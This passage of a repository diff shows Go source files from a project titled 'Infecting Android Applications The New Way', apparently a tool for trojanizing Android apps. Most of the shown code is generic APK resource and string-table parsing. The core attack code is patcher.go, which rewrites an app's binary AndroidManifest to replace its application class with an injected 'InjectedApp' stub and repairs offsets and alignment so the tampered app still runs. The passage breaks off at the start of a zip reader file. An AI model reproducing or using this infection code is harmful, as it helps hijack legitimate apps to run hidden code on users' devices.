func parseChunkHeader(r io.Reader) (id, headerLen uint16, len uint32, err error) {
if err = binary.Read(r, binary.LittleEndian, &id); err != nil { // id
return
}
if err = binary.Read(r, binary.LittleEndian, &headerLen); err != nil { //header
return
}
if err = binary.Read(r, binary.LittleEndian, &len); err != nil {
return
}
return
}

16
Infecting Android Applications The New Way/master/manifest/encoder.go Normal file
View File

@ -0,0 +1,16 @@
package manifest
import (
"encoding/xml"
"errors"
)
// Return this error from EncodeToken to tell apkparser to finish parsing,
// to be used when you found the value you care about and don't need the rest.
var ErrEndParsing = errors.New("end manifest parsing")
// Encoder for writing the XML data. For example Encoder from encoding/xml matches this interface.
type ManifestEncoder interface {
EncodeToken(t xml.Token) error
Flush() error
}

300
Infecting Android Applications The New Way/master/manifest/patcher.go Normal file
View File

@ -0,0 +1,300 @@
package manifest
import (
"bytes"
"common"
"encoding/binary"
"encoding/xml"
"golang.org/x/text/encoding/unicode"
"io/ioutil"
"log"
"path/filepath"
)
const (
fileLenOffset = 0x4
offsetTableOffset = 0x24
offsetStringTableLen = 0xc
stringTableInfoSizeOffset = 0x1c
// Name of application in our stub dex
// It is MUST be longer than any average name
newAppNameUTF8 = "aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp"
newAppNameUTF8Len = uint8(len(newAppNameUTF8))
)
var alignCount uint32
var oldAppNameUTF16 string
var newAppNameUTF16 string
var OldAppNameUTF8 string
var PlainPath, _ = filepath.Abs("AndroidManifest_plaintext.xml")
func patchApplication() ([]byte, int) {
log.Printf("Getting original application name...")
OldAppNameUTF8 = getAppName()
log.Printf("Original applciation name = %s\n", OldAppNameUTF8)
if OldAppNameUTF8 == "" {
log.Panic("Application name wasn't found")
//TODO if not found - we should add our
}
// read bytes from binary xml
androidManifestRaw, err := ioutil.ReadFile(common.ManifestBinaryPath)
if err != nil {
log.Panicf("Failed to read %s", common.ManifestBinaryPath)
}
log.Printf("Original manifest (binary) size = 0x%0x\n", len(androidManifestRaw))
// encode name to UTF-16
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
oldAppNameUTF16, err = encoder.String(OldAppNameUTF8)
// searching application name position in binary manifest
pos := bytes.Index(androidManifestRaw, []byte(oldAppNameUTF16))
//get lenght of string
originalLen := int(androidManifestRaw[pos-2]) * 2
log.Printf("pos = 0x%0x, original applciation name length = 0x%0x\n", pos, originalLen)
//patch length with new value. length = characters count
// pos-2 - because every string is followed by len
androidManifestRaw[pos-2] = newAppNameUTF8Len
//patch application name with new name
// do not forget about alignment!
newAppNameUTF16, err = encoder.String(newAppNameUTF8)
newAppNameUTF16Len := len(newAppNameUTF16)
// how many bytes we add to manifest
lenDiff := newAppNameUTF16Len - originalLen
//// we need enough space to insert our name
androidManifestRawNew := make([]byte, len(androidManifestRaw)+newAppNameUTF16Len-originalLen)
log.Printf("new applciation name = %s, new application length = 0x%0x\n",
newAppNameUTF8, newAppNameUTF16Len)
// copy everything until application name string
copy(androidManifestRawNew, androidManifestRaw[:pos])
// copy our name
copy(androidManifestRawNew[pos:], []byte(newAppNameUTF16))
// copy everything after name
copy(androidManifestRawNew[pos+len([]byte(newAppNameUTF16)):], androidManifestRaw[pos+originalLen:])
// calc position where we should insert alignment bytes
alignPos := (newAppNameUTF16Len - originalLen) + StringTableEndPos
log.Printf("alignPos = 0x%0x\n", alignPos)
// how many bytes we should insert?
// The main idea - data after string table should be
// aligned to 4 bytes
alignCount = uint32(alignPos % 4)
log.Printf("align = %d\n", alignCount)
if alignCount != 0 {
var alignSlice = make([]byte, alignCount)
// insert byte alignment
androidManifestRawNew = append(androidManifestRawNew[:alignPos], append(alignSlice, androidManifestRawNew[alignPos:]...)...)
}
return androidManifestRawNew, lenDiff
}
// we should find from what offset in StringOffsets
// we should start changing offsets by incrementing them to
// number of characters application name expanded
// manifest_strings.dmp contains all strings
// we should count strings after application name
// it will be position of offset
func getAppNameOffset() uint32 {
// position in string offset
//var appNameOff uint32 = 1
var pos uint32
data, err := ioutil.ReadFile(ManifestStringsDmp)
if err != nil {
panic(err)
}
// searching application name position in string dump
// we substract 2 because real offset is the offset to strLen + str
// but we found offset to just str
pos = uint32(bytes.Index(data, []byte(oldAppNameUTF16)) - 2)
log.Printf("application name position in string dump = 0x%x", pos)
return pos
}
func patchOffsetTable(data []byte, appNameOff, lenDiff uint32) {
var offset uint32
offsetTableReader := bytes.NewReader(data)
var j uint32 = 0
for i := uint32(1); i <= StringCnt - appNameOff; i++ {
//read offset
err := binary.Read(offsetTableReader, binary.LittleEndian, &offset)
if err != nil {
log.Panic("Failed to read offset", err)
}
log.Printf("Original offset = 0x%x", offset)
//increment it to length of symbol added
offset += lenDiff
log.Printf("New offset = 0x%x", offset)
binary.LittleEndian.PutUint32(data[j:], offset)
j += 4
}
}
func patchStringTableLen(data []byte) {
var stringTableLen uint32
stringTableLenReader := bytes.NewReader(data)
err := binary.Read(stringTableLenReader, binary.LittleEndian, &stringTableLen)
if err != nil {
log.Panic("Failed to read offset", err)
}
// calc how many bytes we added to manifest
// it's a difference between new name and old name
// *2 - because they are in UTF-16
// IMPORTANT! stringTableLen - must be 4 byte aligned
newLen := len(newAppNameUTF16)
oldLen := len(oldAppNameUTF16)
stringTableLenNew := uint32(int(stringTableLen) + newLen - oldLen)
// align
stringTableLenNew += alignCount
binary.LittleEndian.PutUint32(data, stringTableLenNew)
}
func Patch() {
var androidManifestRaw, lenDiff = patchApplication()
log.Printf("New manifest len = 0x%0x\n", len(androidManifestRaw))
// after we insert new application name we need to increase length of manifest len
binary.LittleEndian.PutUint32(androidManifestRaw[fileLenOffset:], uint32(len(androidManifestRaw)))
var appNameOff = getAppNameOffset()
// search offset in manifest
appNameOffArr := make([]byte, 4)
binary.LittleEndian.PutUint32(appNameOffArr, appNameOff)
pos := uint32(bytes.Index(androidManifestRaw, appNameOffArr))
log.Printf("application name offset in manifest = 0x%x", pos)
// we step to next offset after our found app name offset
pos += 4
// locate the end of stringTableOffset (equals to the start of strings)
var stringTableInfoSize uint32
var stringOffsetTableEnd uint32
stringTableInfoSizeReader := bytes.NewReader(androidManifestRaw[stringTableInfoSizeOffset:])
err := binary.Read(stringTableInfoSizeReader, binary.LittleEndian, &stringTableInfoSize)
if err != nil {
log.Panic("Failed to read offset", err)
}
log.Printf("stringTableInfoSize = 0x%x", stringTableInfoSize)
// 0x8 - start of StringTableInfo section
stringOffsetTableEnd = 0x8 + stringTableInfoSize
log.Printf("stringOffsetTableEnd = 0x%x", stringOffsetTableEnd)
//start reading & patching
offsetTableReader := bytes.NewReader(androidManifestRaw[pos:])
var j = pos
var offset uint32
for i := pos; i < stringOffsetTableEnd; {
//read offset
err := binary.Read(offsetTableReader, binary.LittleEndian, &offset)
if err != nil {
log.Panic("Failed to read offset", err)
}
//log.Printf("Original offset = 0x%x", offset)
//increment it to length of symbol added
offset += uint32(lenDiff)
//log.Printf("New offset = 0x%x", offset)
//patch with new value
binary.LittleEndian.PutUint32(androidManifestRaw[j:], offset)
j += 4
i += 4
}
patchStringTableLen(androidManifestRaw[offsetStringTableLen:])
common.WriteChanges(androidManifestRaw, common.ManifestBinaryPath)
}
// Search application name in decoded android manifest
func getAppName() string {
// read manifest to byte array
content, err := ioutil.ReadFile(PlainPath)
if err != nil {
panic(err)
}
//defer func() {
// err = os.Remove(manifestPlainPath)
//
// if err != nil {
// panic(err)
// }
//} ()
// structs for XML nodes
type Application struct {
Name string `xml:"name,attr"`
}
type Result struct {
XMLName xml.Name `xml:"manifest"`
Application Application `xml:"application"`
}
v := new(Result)
err = xml.Unmarshal(content, v)
if err != nil {
log.Panic("Failed to unmarshal XML", err)
return ""
}
return v.Application.Name
}

682
Infecting Android Applications The New Way/master/manifest/resources.go Normal file
View File

@ -0,0 +1,682 @@
package manifest
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"io/ioutil"
"log"
"math"
"strings"
"unicode/utf16"
)
var ErrUnknownResourceDataType = errors.New("Unknown resource data type")
// Contains parsed resources.arsc file.
type ResourceTable struct {
mainStrings stringTable
nextPackageId uint32
packages map[uint32]*packageGroup
}
type packageGroup struct {
Name string
Id uint32
Packages []*resourcePackage
table *ResourceTable
largestTypeId uint8
types map[uint8][]resourceTypeSpec
}
type resourcePackage struct {
Id uint32
Name string
typeIdOffset uint32
typeStrings stringTable
keyStrings stringTable
}
type resourceTypeSpec struct {
Id uint8
Entries []uint32
Package *resourcePackage
Configs []*resourceType
}
type resourceType struct {
chunkData []byte
entryCount uint32
entriesStart uint32
indexesStart uint32
// ResTable_config config;
}
const (
tableEntryComplex = 0x0001
tableEntryPublic = 0x0002
tableEntryWeak = 0x0004
)
// Describes one resource entry, for example @drawable/icon in the original XML, in one particular config option.
type ResourceEntry struct {
size uint16
flags uint16
ResourceType string
Key string
Package string
value ResourceValue
}
// Handle to the resource's actual value.
type ResourceValue struct {
dataType AttrType
data uint32
globalStringTable *stringTable
convertedData interface{}
}
// Resource config option to pick from options - when @drawable/icon is referenced,
// use /res/drawable-xhdpi/icon.png or use /res/drawable-mdpi/icon.png?
//
// This is not fully implemented, so you can pick only first seen or last seen option.
type ResourceConfigOption int
const (
ConfigFirst ResourceConfigOption = iota // Usually the smallest
ConfigLast // Usually the biggest
// Try to find the biggest png icon, otherwise same as ConfigLast.
//
// Deprecated: use GetIconPng
ConfigPngIcon
)
// Parses the resources.arsc file
func ParseResourceTable(r io.Reader) *ResourceTable {
res := ResourceTable{
nextPackageId: 2,
packages: make(map[uint32]*packageGroup),
}
id, hdrLen, totalLen, err := parseChunkHeader(r)
if err != nil {
log.Panic("parseChunkHeader() failed", err)
}
var packageCurrent, packagesCnt uint32
if err = binary.Read(r, binary.LittleEndian, &packagesCnt); err != nil {
log.Panic("Failed to read packagesCnt", err)
}
if hdrLen < chunkHeaderSize+4 {
log.Panicf("Invalid header length: %d", hdrLen)
}
totalLen -= uint32(hdrLen)
hdrLen -= chunkHeaderSize + 4
if _, err = io.CopyN(ioutil.Discard, r, int64(hdrLen)); err != nil {
log.Panic("Failed to read header padding: %s", err.Error())
}
var len uint32
var lastId uint16
for i := uint32(0); i < totalLen; i += len {
id, hdrLen, len, err = parseChunkHeader(r)
if err != nil {
log.Panicf("Error parsing header at 0x%08x of 0x%08x %08x: %s", i, totalLen, lastId, err.Error())
}
lastId = id
lm := &io.LimitedReader{R: r, N: int64(len) - chunkHeaderSize}
switch id {
case chunkStringTable:
if res.mainStrings.isEmpty() {
res.mainStrings, err = parseStringTable(lm)
}
case chunkTablePackage:
if packageCurrent >= packagesCnt {
log.Panicf("Chunk: 0x%08x: Too many package chunks", id)
}
err = res.parsePackage(lm, hdrLen)
packageCurrent++
default:
err = fmt.Errorf("Unknown chunk: 0x%08x at %d.", id, i+chunkHeaderSize+4)
//_, err = io.CopyN(ioutil.Discard, lm, lm.N)
}
if err != nil {
log.Panicf("Chunk: 0x%08x: %s", id, err.Error())
} else if lm.N != 0 {
log.Panicf("Chunk: 0x%08x: was not fully read", id)
}
}
return &res
}
func (x *ResourceTable) parsePackage(r *io.LimitedReader, hdrLen uint16) error {
pkgBlock, err := ioutil.ReadAll(r)
if err != nil {
return fmt.Errorf("error reading package block: %s", err.Error())
}
pkgReader := bytes.NewReader(pkgBlock)
const valsSize = chunkHeaderSize + 4 + 2*128 + 4*5
vals := struct {
Id uint32
Name [128]uint16
TypeStrings uint32
LastPublicType uint32
KeyStrings uint32
LastPublicKey uint32
TypeIdOffset uint32
}{}
if err := binary.Read(pkgReader, binary.LittleEndian, &vals); err != nil {
return fmt.Errorf("error reading values: %s", err.Error())
}
if vals.Id >= 256 {
return fmt.Errorf("package id out of range: %d", vals.Id)
}
if vals.Id == 0 {
vals.Id = x.nextPackageId
x.nextPackageId++
}
pkg := &resourcePackage{
Id: vals.Id,
}
// TypeIdOffset was added later and may not be present (frameworks/base@f90f2f8dc36e7243b85e0b6a7fd5a590893c827e)
if hdrLen >= valsSize {
pkg.typeIdOffset = vals.TypeIdOffset
}
pkg.Name = string(utf16.Decode(vals.Name[:]))
if idx := strings.IndexRune(pkg.Name, 0); idx != -1 {
pkg.Name = pkg.Name[:idx]
}
if vals.TypeStrings < chunkHeaderSize || vals.KeyStrings <= chunkHeaderSize {
return fmt.Errorf("Invalid strings offset: %d %d", vals.TypeStrings, vals.KeyStrings)
}
vals.TypeStrings -= chunkHeaderSize
vals.KeyStrings -= chunkHeaderSize
if _, err := pkgReader.Seek(int64(vals.TypeStrings), io.SeekStart); err != nil {
return err
}
if pkg.typeStrings, err = parseStringTableWithChunk(pkgReader); err != nil {
return err
}
if _, err := pkgReader.Seek(int64(vals.KeyStrings), io.SeekStart); err != nil {
return err
}
if pkg.keyStrings, err = parseStringTableWithChunk(pkgReader); err != nil {
return err
}
group, prs := x.packages[pkg.Id]
if !prs {
group = &packageGroup{
Id: pkg.Id,
Name: pkg.Name,
table: x,
types: make(map[uint8][]resourceTypeSpec),
}
x.packages[pkg.Id] = group
/*
// Find all packages that reference this package
size_t N = mpackageGroups.size();
for (size_t i = 0; i < N; i++) {
mpackageGroups[i]->dynamicRefTable.addMapping(
group->name, static_cast<uint8_t>(group->id));
}
*/
}
group.Packages = append(group.Packages, pkg)
if _, err := pkgReader.Seek(int64(hdrLen-chunkHeaderSize), io.SeekStart); err != nil {
return err
}
for {
chunkStartOffset, _ := pkgReader.Seek(0, io.SeekCurrent)
id, hdrLen, totalLen, err := parseChunkHeader(pkgReader)
if err == io.EOF {
break
} else if err != nil {
return fmt.Errorf("Error parsing package internal header: %s", err.Error())
}
// Sample: 7e97541191621e72bd794b5b2d60eb2f68669ea8782421e54ec719ccda06c8a4
if chunkStartOffset+int64(totalLen) >= int64(len(pkgBlock)) {
totalLen = uint32(int64(len(pkgBlock)) - chunkStartOffset)
}
lm := &io.LimitedReader{R: pkgReader, N: int64(totalLen) - chunkHeaderSize}
switch id {
case chunkTableTypeSpec:
err = x.parseTypeSpec(lm, pkg, group)
case chunkTableType:
block := pkgBlock[chunkStartOffset : chunkStartOffset+int64(totalLen)]
if err = x.parseType(lm, pkg, group, block, hdrLen); err != nil {
break
}
fallthrough
default:
_, err = io.CopyN(ioutil.Discard, lm, lm.N)
}
if err != nil {
return fmt.Errorf("Chunk: 0x%08x: %s", id, err.Error())
} else if lm.N != 0 {
return fmt.Errorf("Chunk: 0x%08x: was not fully read", id)
}
}
return nil
}
func (x *ResourceTable) parseTypeSpec(r io.Reader, pkg *resourcePackage, group *packageGroup) error {
var id uint8
if err := binary.Read(r, binary.LittleEndian, &id); err != nil {
return fmt.Errorf("Failed to read type spec id: %s", err.Error())
}
if id == 0 {
return fmt.Errorf("Invalid type spec id: %d", id)
}
if _, err := io.CopyN(ioutil.Discard, r, 1+2); err != nil {
return fmt.Errorf("Failed to skip padding: %s", err.Error())
}
var entryCount uint32
if err := binary.Read(r, binary.LittleEndian, &entryCount); err != nil {
return fmt.Errorf("Failed to read entryCount: %s", err.Error())
}
if entryCount > 0 {
var entries []uint32
for i := uint32(0); i < entryCount; i++ {
var e uint32
if err := binary.Read(r, binary.LittleEndian, &e); err != nil {
return fmt.Errorf("Failed to read type spec entry: %s", err.Error())
}
entries = append(entries, e)
}
group.types[id] = append(group.types[id], resourceTypeSpec{
Id: id,
Entries: entries,
Package: pkg,
})
if id > group.largestTypeId {
group.largestTypeId = id
}
}
return nil
}
func (x *ResourceTable) parseType(r io.Reader, pkg *resourcePackage, group *packageGroup, chunkData []byte, hdrLen uint16) error {
vals := struct {
Id uint8
Res0 uint8
Res1 uint16
EntryCount uint32
EntriesStart uint32
//ResTable_config config;
}{}
if err := binary.Read(r, binary.LittleEndian, &vals); err != nil {
return fmt.Errorf("error reading values: %s", err.Error())
}
if vals.Id == 0 {
return fmt.Errorf("Invalid type id: %d", vals.Id)
}
if vals.EntryCount > 0 {
typeList := group.types[vals.Id]
if len(typeList) == 0 {
return fmt.Errorf("No spec entry for type %d", vals.Id)
}
i := len(typeList) - 1
typeList[i].Configs = append(typeList[i].Configs, &resourceType{
chunkData: chunkData,
entryCount: vals.EntryCount,
entriesStart: vals.EntriesStart,
indexesStart: uint32(hdrLen),
})
}
return nil
}
// Converts the resource id to readable name including the package name like "@drawable:com.example.app.icon".
func (x *ResourceTable) GetResourceName(resId uint32) (string, error) {
pkgId := (resId >> 24)
typ := ((resId >> 16) & 0xFF) - 1
entryId := (resId & 0xFFFF)
group := x.packages[pkgId]
if group == nil {
return "", fmt.Errorf("Invalid package identifier.")
}
entry, err := x.getEntry(group, typ, entryId, ConfigFirst)
if err != nil {
return "", err
}
return fmt.Sprintf("@%s:%s.%s", entry.ResourceType, group.Name, entry.Key), nil
}
// Returns the resource entry for resId and the first configuration option it finds.
func (x *ResourceTable) GetResourceEntry(resId uint32) (*ResourceEntry, error) {
return x.GetResourceEntryEx(resId, ConfigFirst)
}
// Returns the resource entry for resId and config configuration option.
func (x *ResourceTable) GetResourceEntryEx(resId uint32, config ResourceConfigOption) (*ResourceEntry, error) {
if config == ConfigPngIcon {
return x.GetIconPng(resId)
}
pkgId := (resId >> 24)
typ := ((resId >> 16) & 0xFF) - 1
entryId := (resId & 0xFFFF)
group := x.packages[pkgId]
if group == nil {
return nil, fmt.Errorf("Invalid package identifier.")
}
return x.getEntry(group, typ, entryId, config)
}
// Return the biggest last config ending with .png. Falls back to GetResourceEntry() if none found.
func (x *ResourceTable) GetIconPng(resId uint32) (*ResourceEntry, error) {
pkgId := (resId >> 24)
typ := ((resId >> 16) & 0xFF) - 1
entryId := (resId & 0xFFFF)
group := x.packages[pkgId]
if group == nil {
return nil, fmt.Errorf("Invalid package identifier.")
}
entries, err := x.getEntryConfigs(group, typ, entryId, 256)
if len(entries) == 0 {
return nil, err
}
var res *ResourceEntry
for i := 0; i < len(entries) && i < 1024; i++ {
e := entries[i]
if e.value.dataType == AttrTypeReference {
pkgId = (e.value.data >> 24)
typ = ((e.value.data >> 16) & 0xFF) - 1
entryId = (e.value.data & 0xFFFF)
if more, _ := x.getEntryConfigs(group, typ, entryId, 256); len(more) != 0 {
entries = append(entries, more...)
}
} else if val, _ := e.value.String(); strings.HasSuffix(val, ".png") {
res = e
}
}
if res == nil {
return x.GetResourceEntry(resId)
}
return res, nil
}
func (x *ResourceTable) getEntry(group *packageGroup, typeId, entry uint32, config ResourceConfigOption) (*ResourceEntry, error) {
limit := 1024
if config == ConfigFirst {
limit = 1
}
entries, err := x.getEntryConfigs(group, typeId, entry, limit)
if len(entries) == 0 {
return nil, err
}
res := entries[len(entries)-1]
return res, err
}
func (x *ResourceTable) getEntryConfigs(group *packageGroup, typeId, entry uint32, limit int) ([]*ResourceEntry, error) {
typeList := group.types[uint8(typeId+1)]
if len(typeList) == 0 {
return nil, fmt.Errorf("Invalid type: %d", typeId)
}
var lastErr error
var entries []*ResourceEntry
for _, typ := range typeList {
for _, thisType := range typ.Configs {
if entry >= thisType.entryCount {
continue
}
r := bytes.NewReader(thisType.chunkData)
if _, err := r.Seek(int64(thisType.indexesStart+entry*4), io.SeekStart); err != nil {
return nil, err
}
var thisOffset uint32
if err := binary.Read(r, binary.LittleEndian, &thisOffset); err != nil {
return nil, fmt.Errorf("Failed to read this type offset: %s", err.Error())
}
if thisOffset == math.MaxUint32 {
continue
}
offset := thisType.entriesStart + thisOffset
if int(offset) >= len(thisType.chunkData) || ((offset & 0x03) != 0) {
return nil, fmt.Errorf("Invalid entry 0x%04x offset: %d!", entry, offset)
}
if _, err := r.Seek(int64(offset), io.SeekStart); err != nil {
return nil, err
}
res, err := x.parseEntry(r, typ.Package, typeId)
if err != nil {
lastErr = err
} else {
entries = append(entries, res)
}
if len(entries) >= limit {
goto exit
}
}
}
if len(entries) == 0 {
return nil, fmt.Errorf("No entry found.")
}
exit:
return entries, lastErr
}
func (x *ResourceTable) parseEntry(r io.Reader, pkg *resourcePackage, typeId uint32) (*ResourceEntry, error) {
var err error
var res ResourceEntry
var keyIndex uint32
if err := binary.Read(r, binary.LittleEndian, &res.size); err != nil {
return nil, fmt.Errorf("Failed to read entry size: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &res.flags); err != nil {
return nil, fmt.Errorf("Failed to read entry flags: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &keyIndex); err != nil {
return nil, fmt.Errorf("Failed to read entry key index: %s", err.Error())
}
res.Package = pkg.Name
res.ResourceType, err = pkg.typeStrings.get(typeId - pkg.typeIdOffset)
if err != nil {
return nil, fmt.Errorf("Invalid typeString: %s", err.Error())
}
res.Key, err = pkg.keyStrings.get(keyIndex)
if err != nil {
return nil, fmt.Errorf("Invalid keyString: %s", err.Error())
}
if !res.IsComplex() {
var size uint16
if err := binary.Read(r, binary.LittleEndian, &size); err != nil {
return nil, fmt.Errorf("Failed to read entry value size: %s", err.Error())
}
if size < 8 {
return nil, fmt.Errorf("Invalid Res_value size: %d!", size)
}
if _, err := io.CopyN(ioutil.Discard, r, 1); err != nil {
return nil, fmt.Errorf("Failed to read entry value res0: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &res.value.dataType); err != nil {
return nil, fmt.Errorf("Failed to read entry value data type: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &res.value.data); err != nil {
return nil, fmt.Errorf("Failed to read entry value data: %s", err.Error())
}
res.value.globalStringTable = &x.mainStrings
} else {
// NYI
}
return &res, nil
}
// Returns true if the resource entry is complex (for example arrays, string plural arrays...).
//
// Complex ResourceEntries are not yet supported.
func (e *ResourceEntry) IsComplex() bool {
return (e.flags & tableEntryComplex) != 0
}
// Returns the resource value handle
func (e *ResourceEntry) GetValue() *ResourceValue {
return &e.value
}
// Returns the resource data type
func (v *ResourceValue) Type() AttrType {
return v.dataType
}
// Returns the raw data of the resource
func (v *ResourceValue) RawData() uint32 {
return v.data
}
// Returns the data converted to their native type (e.g. AttrTypeString to string).
//
// Returns ErrUnknownResourceDataType if the type is not handled by this library
func (v *ResourceValue) Data() (interface{}, error) {
if v.convertedData != nil {
return v.convertedData, nil
}
var val interface{}
var err error
switch v.dataType {
case AttrTypeNull:
case AttrTypeString:
val, err = v.globalStringTable.get(v.data)
if err != nil {
return nil, err
}
case AttrTypeIntDec, AttrTypeIntHex, AttrTypeIntBool,
AttrTypeIntColorArgb8, AttrTypeIntColorRgb8,
AttrTypeIntColorArgb4, AttrTypeIntColorRgb4,
AttrTypeReference:
val = v.data
default:
return nil, ErrUnknownResourceDataType
}
v.convertedData = val
return val, nil
}
// Returns the data converted to a readable string, to the format it was likely in the original AndroidManifest.xml.
//
// Unknown data types are returned as the string from ErrUnknownResourceDataType.Error().
func (v *ResourceValue) String() (res string, err error) {
switch v.dataType {
case AttrTypeNull:
res = "null"
case AttrTypeIntHex:
res = fmt.Sprintf("0x%x", v.data)
case AttrTypeIntBool:
if v.data != 0 {
res = "true"
} else {
res = "false"
}
case AttrTypeIntColorArgb8:
res = fmt.Sprintf("#%08x", v.data)
case AttrTypeIntColorRgb8:
res = fmt.Sprintf("#%06x", v.data)
case AttrTypeIntColorArgb4:
res = fmt.Sprintf("#%04x", v.data)
case AttrTypeIntColorRgb4:
res = fmt.Sprintf("#%03x", v.data)
case AttrTypeReference:
res = fmt.Sprintf("@%x", v.data)
default:
var val interface{}
val, err = v.Data()
if err == nil {
res = fmt.Sprintf("%v", val)
}
}
return
}

251
Infecting Android Applications The New Way/master/manifest/stringtable.go Normal file
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@ -0,0 +1,251 @@
package manifest
import (
"bytes"
"encoding/binary"
"fmt"
"io"
"io/ioutil"
"math"
"path/filepath"
"strings"
"unicode/utf16"
"unicode/utf8"
)
const (
stringFlagSorted = 0x00000001
stringFlagUtf8 = 0x00000100
)
var StringCnt uint32
var ManifestStringsDmp, _ = filepath.Abs("manifest_strings.dmp")
var StringTableEndPos int
type stringTable struct {
isUtf8 bool
stringOffsets []byte
data []byte
cache map[uint32]string
}
func parseStringTableWithChunk(r io.Reader) (res stringTable, err error) {
id, _, totalLen, err := parseChunkHeader(r)
if err != nil {
return
}
if id != chunkStringTable {
err = fmt.Errorf("Invalid chunk id 0x%08x, expected 0x%08x", id, chunkStringTable)
return
}
return parseStringTable(&io.LimitedReader{R: r, N: int64(totalLen - chunkHeaderSize)})
}
func check(e error) {
if e != nil {
panic(e)
}
}
func dumpStrings(data []byte) {
err := ioutil.WriteFile(ManifestStringsDmp, data, 0644)
check(err)
}
func parseStringTable(r *io.LimitedReader) (stringTable, error) {
var err error
var stringOffset, flags uint32
var res stringTable
// stringCnt - STRING COUNT
if err := binary.Read(r, binary.LittleEndian, &StringCnt); err != nil {
return res, fmt.Errorf("error reading stringCnt: %s", err.Error())
}
// skip styles count
if _, err = io.CopyN(ioutil.Discard, r, 4); err != nil {
return res, fmt.Errorf("error reading styleCnt: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &flags); err != nil {
return res, fmt.Errorf("error reading flags: %s", err.Error())
}
res.isUtf8 = (flags & stringFlagUtf8) != 0
if res.isUtf8 {
flags &^= stringFlagUtf8
}
flags &^= stringFlagSorted // just ignore
if flags != 0 {
return res, fmt.Errorf("Unknown string flag: 0x%08x", flags)
}
if err := binary.Read(r, binary.LittleEndian, &stringOffset); err != nil {
return res, fmt.Errorf("error reading stringOffset: %s", err.Error())
}
// skip styles offset
if _, err = io.CopyN(ioutil.Discard, r, 4); err != nil {
return res, fmt.Errorf("error reading styleOffset: %s", err.Error())
}
// Read lengths
if StringCnt >= 2*1024*1024 {
return res, fmt.Errorf("Too many strings in this file (%d).", StringCnt)
}
// allocate memory for each offset. 1 offset for 1 string. 1 offset = 4 bytes
res.stringOffsets = make([]byte, 4*StringCnt)
// fill stringOffssets array with offsets. Read from manifest
if _, err := io.ReadFull(r, res.stringOffsets); err != nil {
return res, fmt.Errorf("Failed to read string offsets data: %s", err.Error())
}
remainder := int64(stringOffset) - 7*4 - 4*int64(StringCnt)
if remainder < 0 {
return res, fmt.Errorf("Wrong string offset (got remainder %d)", remainder)
} else if remainder > 0 {
if _, err = io.CopyN(ioutil.Discard, r, remainder); err != nil {
return res, fmt.Errorf("error reading styleArray: %s", err.Error())
}
}
// read STRINGS
// TODO Здесь в r.N попал resourceID, а это не должно быть
res.data = make([]byte, r.N)
if _, err := io.ReadFull(r, res.data); err != nil {
return res, fmt.Errorf("Failed to read string table data: %s", err.Error())
}
// write res.data to stdout. res.data contains = resource strings and manifest in plaintext
if mr, ok := r.R.(myRead); ok {
StringTableEndPos = mr.GetRead()
}
dumpStrings(res.data)
res.cache = make(map[uint32]string)
return res, nil
}
func (t *stringTable) parseString16(r io.Reader) (string, error) {
var strCharacters uint32
var strCharactersLow, strCharactersHigh uint16
if err := binary.Read(r, binary.LittleEndian, &strCharactersHigh); err != nil {
return "", fmt.Errorf("error reading string char count: %s", err.Error())
}
if (strCharactersHigh & 0x8000) != 0 {
if err := binary.Read(r, binary.LittleEndian, &strCharactersLow); err != nil {
return "", fmt.Errorf("error reading string char count: %s", err.Error())
}
strCharacters = (uint32(strCharactersHigh&0x7FFF) << 16) | uint32(strCharactersLow)
} else {
strCharacters = uint32(strCharactersHigh)
}
buf := make([]uint16, int64(strCharacters))
if err := binary.Read(r, binary.LittleEndian, &buf); err != nil {
return "", fmt.Errorf("error reading string : %s", err.Error())
}
decoded := utf16.Decode(buf)
for len(decoded) != 0 && decoded[len(decoded)-1] == 0 {
decoded = decoded[:len(decoded)-1]
}
return string(decoded), nil
}
func (t *stringTable) parseString8Len(r io.Reader) (int64, error) {
var strCharacters int64
var strCharactersLow, strCharactersHigh uint8
if err := binary.Read(r, binary.LittleEndian, &strCharactersHigh); err != nil {
return 0, fmt.Errorf("error reading string char count: %s", err.Error())
}
if (strCharactersHigh & 0x80) != 0 {
if err := binary.Read(r, binary.LittleEndian, &strCharactersLow); err != nil {
return 0, fmt.Errorf("error reading string char count: %s", err.Error())
}
strCharacters = (int64(strCharactersHigh&0x7F) << 8) | int64(strCharactersLow)
} else {
strCharacters = int64(strCharactersHigh)
}
return strCharacters, nil
}
func (t *stringTable) parseString8(r io.Reader) (string, error) {
// Length of the string in UTF16
_, err := t.parseString8Len(r)
if err != nil {
return "", err
}
len8, err := t.parseString8Len(r)
if err != nil {
return "", err
}
buf := make([]uint8, len8)
if err := binary.Read(r, binary.LittleEndian, &buf); err != nil {
return "", fmt.Errorf("error reading string : %s", err.Error())
}
for len(buf) != 0 && buf[len(buf)-1] == 0 {
buf = buf[:len(buf)-1]
}
return string(buf), nil
}
func (t *stringTable) get(idx uint32) (string, error) {
if idx == math.MaxUint32 {
return "", nil
} else if idx >= uint32(len(t.stringOffsets)/4) {
return "", fmt.Errorf("String with idx %d not found!", idx)
}
if str, prs := t.cache[idx]; prs {
return str, nil
}
offset := binary.LittleEndian.Uint32(t.stringOffsets[4*idx : 4*idx+4])
if offset >= uint32(len(t.data)) {
return "", fmt.Errorf("String offset for idx %d is out of bounds (%d >= %d).", idx, offset, len(t.data))
}
r := bytes.NewReader(t.data[offset:])
var err error
var res string
if t.isUtf8 {
res, err = t.parseString8(r)
} else {
res, err = t.parseString16(r)
}
if err != nil {
return "", err
}
if !utf8.ValidString(res) || strings.ContainsRune(res, 0) {
res = strings.Map(func(r rune) rune {
switch r {
case 0, utf8.RuneError:
return '\uFFFE'
default:
return r
}
}, res)
}
t.cache[idx] = res
return res, nil
}
func (t *stringTable) isEmpty() bool {
return t.cache == nil
}

352
Infecting Android Applications The New Way/master/manifest/zipreader.go Normal file
View File

@ -0,0 +1,352 @@
package manifest
import (
"archive/zip"
"compress/flate"
"encoding/binary"
"errors"
"fmt"
"io"
"os"
"path"
)
